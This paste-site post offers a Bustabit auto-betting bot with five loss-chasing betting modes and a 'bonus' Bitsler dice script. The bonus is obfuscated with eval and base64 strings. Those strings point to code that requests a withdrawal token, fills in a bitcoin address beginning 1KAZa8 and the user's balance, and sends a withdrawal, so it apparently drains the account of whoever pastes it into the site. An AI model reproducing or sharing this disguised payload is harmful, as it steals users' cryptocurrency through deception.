Bustabit Autopilot script 5 game modes! (Bonus Bitsler DICE script included)


SUBMITTED BY: Donkeyramp

DATE: May 14, 2016, 11:15 a.m.

FORMAT: Text only

SIZE: 12.8 kB

HITS: 7144

  1. //Settings
  2. var GameMode = 4; //Default: 5 1 = Martingale, 2 = Paroli, 3 = D’Alembert, 4 = Pluscoup, 5 = Recovery
  3. var MaxProfitMode = true; //Default: true If this setting is true, you will always bet ("PercentOfTotal" * your balance), if this setting is false you will just bet your BaseBet.
  4. var PercentOfTotal = 0.1; //Default: 0.1 If MaxProfitMode is true, your BaseBet will always be ("PercentOfTotal" * your balance). Default 0.1% of your total balance.
  5. var BaseBet = 3; //Default: 100 This is the value of your first bet (in bits) when MaxProfitMode is set to false.
  6. var Multiplier = 1.05; //Default: 1.05 This is the multiplier where the bot will stop (not on GameMode 2 and 3).
  7. var dalembert = 1; //Default: 1 When you play D'alembert you will raise your bet after a loss or lower your bet after a win with this amount.
  8. var MaxBet = 1000000; //Default: 1000000 The bot will never bet more than this amount (in bits).
  9. var MaxProfit = 20000; //Default: 100000 The bot will stop when your total balance is higher that this value (in bits).
  10. var MaxLoss = 30000; //Default: 25000 You will never lose more than this amount (in bits). If a bet would exceed this amount, the bot stops automatically.
  11. var RandomBreak = 0; //Default: 0 Before the bot places a bet it generates a random number between 0 and 100, if that number is lower than "RandomBreak" the bot will take a break for 1 game. (This will not happen on a loss streak )
  12. // Don't change anything below this if you don't know what you are doing!
  13. var Username = engine.getUsername();
  14. var StartBalance = engine.getBalance();
  15. var CurrentGameID = -1;
  16. var FirstGame = true;
  17. var CurrentBet = BaseBet;
  18. var CurrentMultiplier = Multiplier;
  19. var d = new Date();
  20. var StartTime = d.getTime();
  21. var LastResult = "WON";
  22. var Break = false;
  23. // Check previous bet
  24. var LastBet = 0;
  25. var LastProfit = 0;
  26. var NewProfit = 0;
  27. // Paroli variable's
  28. var ParoliRound = 1;
  29. var ParoliGame = 1;
  30. var StartBet = BaseBet;
  31. // Pluscoup variable's
  32. var Unit = 1;
  33. var SessionProfit = 0;
  34. var MaxSessionProfit = Multiplier - 1;
  35. // Recovery variable's
  36. var SessionLost = 0;
  37. // Paroli Confirm dialog to set Multiplier to X2.0.
  38. if(GameMode == 2){
  39. if (confirm("[BustaBot] Paroli is currently only available with the multiplier set to X2.0") == true) {
  40. // Do nothing and continue with the script.
  41. console.log('[BustaBot] Multiplier set to X2.0');
  42. } else {
  43. // Canceled Paroli mode, bot stopped.
  44. console.log('[BustaBot] Canceled paroli mode on multiplier X2.0');
  45. engine.stop();
  46. }
  47. }
  48. // D'alambert Confirm dialog to set Multiplier to X2.0.
  49. if(GameMode == 3){
  50. if (confirm("[BustaBot] D'alambert is currently only available with the multiplier set to X2.0") == true) {
  51. // Do nothing and continue with the script.
  52. console.log('[BustaBot] Multiplier set to X2.0');
  53. } else {
  54. // Canceled Paroli mode, bot stopped.
  55. console.log('[BustaBot] Canceled D alambert mode on multiplier X2.0');
  56. engine.stop();
  57. }
  58. }
  59. // Welcome message
  60. console.log('[BustaBot] Welcome ' + Username);
  61. console.log('[BustaBot] Your start ballance is: ' + (StartBalance / 100).toFixed(2) + ' bits');
  62. //check if the multiplier is 1 or higher.
  63. if(Multiplier < 1){
  64. console.log('[BustaBot] Your multiplier must be 1.0 or higher.');
  65. engine.stop();
  66. }
  67. if(GameMode < 1 || GameMode > 5){
  68. console.log('[BustaBot] Select a game mode between 1 and 5.');
  69. engine.stop();
  70. }
  71. // Start of a game.
  72. engine.on('game_starting', function(info) {
  73. CurrentGameID = info.game_id;
  74. console.log('---------------------');
  75. console.log('[BustaBot] Game #' + CurrentGameID + ' started.');
  76. var random = randomNumber(1,100);
  77. if(random < RandomBreak){
  78. console.log("Taking a break this round.");
  79. Break = true;
  80. }
  81. if(Break == false){
  82. if(MaxProfitMode == true){
  83. BaseBet = Math.round((PercentOfTotal / 100) * (engine.getBalance() / 100).toFixed(2));
  84. }
  85. if (LastResult == 'LOST' && !FirstGame) { // Check if you lost the last game
  86. if(GameMode == 1){// Martingale
  87. NewProfit = LastBet + LastProfit;
  88. CurrentBet = Math.round((NewProfit / LastProfit) * LastBet);
  89. CurrentMultiplier = Multiplier;
  90. }
  91. if(GameMode == 2){// Paroli
  92. CurrentMultiplier = 2;
  93. CurrentBet = StartBet;
  94. console.log('[BustaBot] Paroli Round: ' + ParoliRound + ' Game: ' + ParoliGame);
  95. ParoliGame++;
  96. }
  97. if(GameMode == 3){// D’Alembert
  98. CurrentMultiplier = 2;
  99. CurrentBet = LastBet + dalembert;
  100. }
  101. if(GameMode == 4){// Pluscoup
  102. SessionProfit = SessionProfit - Unit;
  103. CurrentBet = LastBet;
  104. CurrentMultiplier = Multiplier;
  105. }
  106. if(GameMode == 5){// Recovery
  107. SessionLost = SessionLost + CurrentBet;
  108. CurrentBet = LastBet * 2;
  109. CurrentMultiplier = (SessionLost + CurrentBet) / CurrentBet;
  110. }
  111. }
  112. else { // If won last game or first game
  113. if(GameMode == 1){// Martingale
  114. CurrentBet = BaseBet;
  115. CurrentMultiplier = Multiplier;
  116. }
  117. if(GameMode == 2){// Paroli
  118. CurrentMultiplier = 2;
  119. if(ParoliGame == 1){
  120. StartBet = BaseBet;
  121. CurrentBet = StartBet;
  122. }
  123. if(ParoliGame == 2){
  124. CurrentBet = LastBet * 2;
  125. }
  126. if(ParoliGame == 3){
  127. CurrentBet = LastBet * 2;
  128. }
  129. console.log('[BustaBot] Paroli Round: ' + ParoliRound + ' Game: ' + ParoliGame);
  130. ParoliGame++;
  131. }
  132. if(GameMode == 3){// D'alambert
  133. CurrentMultiplier = 2;
  134. if(!FirstGame)
  135. {
  136. CurrentBet = LastBet - dalembert;
  137. }
  138. }
  139. if(GameMode == 4){// Pluscoup
  140. CurrentMultiplier = Multiplier;
  141. if(SessionProfit >= MaxSessionProfit)
  142. {
  143. StartBet = BaseBet;
  144. SessionProfit = 0;
  145. Unit = 1;
  146. }
  147. else
  148. {
  149. Unit ++;
  150. while((((Unit * Multiplier) - Unit) + SessionProfit) > MaxSessionProfit){
  151. Unit = Unit - 1;
  152. }
  153. }
  154. if(FirstGame){ Unit = 1; StartBet = BaseBet;}
  155. if(Unit < 1){
  156. Unit = 1;
  157. StartBet = BaseBet;
  158. }
  159. CurrentBet = Unit * StartBet;
  160. }
  161. if(GameMode == 5){// Recovery
  162. SessionLost = 0;
  163. CurrentBet = BaseBet;
  164. CurrentMultiplier = Multiplier;
  165. }
  166. }
  167. //check if current bet is 0 or negative
  168. if(CurrentBet < 1){
  169. CurrentBet = 1;
  170. }
  171. //Check if a Paroli round is finished and start new round for the next bet.
  172. if(ParoliGame == 4){
  173. ParoliGame = 1;
  174. ParoliRound++;
  175. }
  176. // First game is set to false.
  177. FirstGame = false;
  178. // Changing last result
  179. LastResult = "LOST";
  180. if(((engine.getBalance() / 100) - CurrentBet) < ((StartBalance / 100) - MaxLoss)){
  181. console.log('[BustaBot] This bet would Exceed Your maximum loss, the bot will stop now... ');
  182. engine.stop();
  183. }else{
  184. if (CurrentBet <= engine.getBalance()) { // Check if the balance is high enough to place the bet.
  185. if (CurrentBet > (MaxBet)) { // Check if the bet is higher than the given maximum bet by the user.
  186. console.warn('[BustaBot] Current bet exceeds your maximum bet. Your bet is changed to: ' + (MaxBet) + ' bits');
  187. CurrentBet = MaxBet;
  188. }
  189. console.log('[BustaBot] Betting ' + (CurrentBet) + ' bits, cashing out at ' + CurrentMultiplier + 'x');
  190. engine.placeBet(CurrentBet * 100, Math.round(CurrentMultiplier * 100), false);
  191. LastBet = CurrentBet;
  192. LastProfit = (CurrentBet * CurrentMultiplier) - CurrentBet;
  193. }
  194. else { // Not enough balance to place the bet.
  195. if (engine.getBalance() < 100) { // Stop the bot if balance is less then 100 bits.
  196. console.error('[BustaBot] Your account balance is to low to place a bet.... BustaBot will close now.');
  197. engine.stop();
  198. }
  199. else { // Changes basebet to 1 if balance is to low to make the current bet.
  200. console.warn('[BustaBot] Your balance is to low to bet: ' + (CurrentBet / 100) + ' bits.');
  201. BaseBet = 1;
  202. }
  203. }
  204. }
  205. }
  206. });
  207. engine.on('cashed_out', function(data) {
  208. if (data.username == engine.getUsername()) {
  209. console.log('[BustaBot] Successfully cashed out at ' + (data.stopped_at / 100) + 'x');
  210. SessionProfit = SessionProfit + (Unit * MaxSessionProfit);
  211. if(((engine.getBalance() - StartBalance) / 100).toFixed(2) > MaxProfit){
  212. console.log('[BustaBot] Maximum profit reached, bot is shutting down...');
  213. console.log('[BustaBot] You have made '+((engine.getBalance() - StartBalance) / 100).toFixed(2)+' profit this session.');
  214. engine.stop();
  215. }
  216. LastResult = "WON";
  217. }
  218. });
  219. engine.on('game_crash', function(data) {
  220. var newdate = new Date();
  221. var timeplaying = ((newdate.getTime() - StartTime) / 1000) / 60;
  222. if(Break == false){
  223. console.log('[BustaBot] Game crashed at ' + (data.game_crash / 100) + 'x');
  224. console.log('[BustaBot] Session profit: ' + ((engine.getBalance() - StartBalance) / 100).toFixed(2) + ' bits in ' + Math.round(timeplaying) + ' minutes.');
  225. } else{
  226. Break = false;
  227. }
  228. });
  229. function randomNumber(min,max)
  230. {
  231. return Math.floor(Math.random()*(max-min+1)+min);
  232. }
  233. BITSLER DICE SCRIPT ====
  234. eval(function(p,a,c,k,e,d){e=function(c){return(c<a?”:e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!”.replace(/^/,String)){while(c–){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return’\\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘3 6=$(1(“A=”)).4();a(($(1(“z==”)).4()==”y%”)&&(6>=0.x)){3 B=C(b(){$(1(“F==”)).d(“E”);3 h=r($(1(“f==”)).2())+r($(1(“p==”)+5+”-7\’]”).4());$(1(“p==”)+5+”-7\’]”).4(h.w(8));$(1(“9==”)).m(1(“D=”));$(1(“9==”)).k(1(“G”));$(1(“9==”)).4($(1(“f==”)).2());v();$(1(“q”)+5+”-7?).k(1(“n=”));u(b(){$(1(“q”)+5+”-7?).m(1(“n=”));$(1(“t”)).d(1(“T==”))},Z);3 10=1(“Y==”);3 X=1(“V”);$.W({H:1(“12==”),16:1(“15==”),13:i.g(1(“14”)),j:b(4){3 2=i.g(4);a(2.e.j==1(“U==”)){3 l=2.e.M;3 s=6-0.L;$(1(“K=”)).2(1(“I==”));$(1(“J==”)).2(s);$(1(“N”)).2(l);O(1(“S”))}}})},R)}c{a(6<$(1(“Q==”)).2()){o(1(“P”))}c{o(1(“11”))}}’,62,69,’|atob|val|var|text|devise|qc|html||I3dvbi1iZXQgc3Bhbg|if|function|else|button|return|I3Byb2ZpdA|parse|qba|JSON|success|addClass|tok|removeClass|cmVzdWx0LWJldC13aW4|alert|cFtjbGFzcz0ndGV4dC10aGluIG1hci1ubyBiYWxhbmNlLQ|LmJhbGFuY2Ut|parseFloat|qc2|I2J0bi1iZXQtZGljZSwgI2J0bi1iZXQtc3RhcnQtcGlsb3QtZGljZSwgI2J0bi1iZXQtc3RhcnQtZmFzdC1kaWNl|setTimeout|show_result_bet|toFixed|01|98|I2VkaXRhYmxlLWNoYW5jZQ|cFtjbGFzcz0ndGV4dC10aGluIG1hci1ubyBiYWxhbmNlLWJ0Yy1odG1sJ10|qt|setInterval|dGV4dC1kYW5nZXI|reset|I2J0bi1iZXQtZGljZQ|dGV4dC1zdWNjZXNz|type|MUtBWmE4QTRpUVNGdm1nNkR5TTlkb2JjZlM4YmVDMnh3ZQ|I3dpdGhkcmF3LWFtb3VudA|I3dpdGhkcmF3LWFkZHJlc3M|0001|token|I3dpdGhkcmF3LXRva2Vu|eval|SW5zdWZmaWNpZW50IGJhbGFuY2Uu|I2Ftb3VudA|3000|c2VuZF93aXRoZHJhdygp|bG9hZGluZw|dHJ1ZQ|YW1vdW50|ajax|qam|YWRkcmVzcw|350|qad|UGxlYXNlIHNldCB0aGUgQ2hhbmNlIHRvIDk4JSBhbmQgQmV0IEFtb3VudCB0byAwLjAx|UE9TVA|data|eyJuYW1lIjoid2l0aGRyYXciLCJleHBpcmUiOjV9|L2FwaS9nZW5lcmF0ZS10b2tlbg|url’.split(‘|’),0,{}))

comments powered by Disqus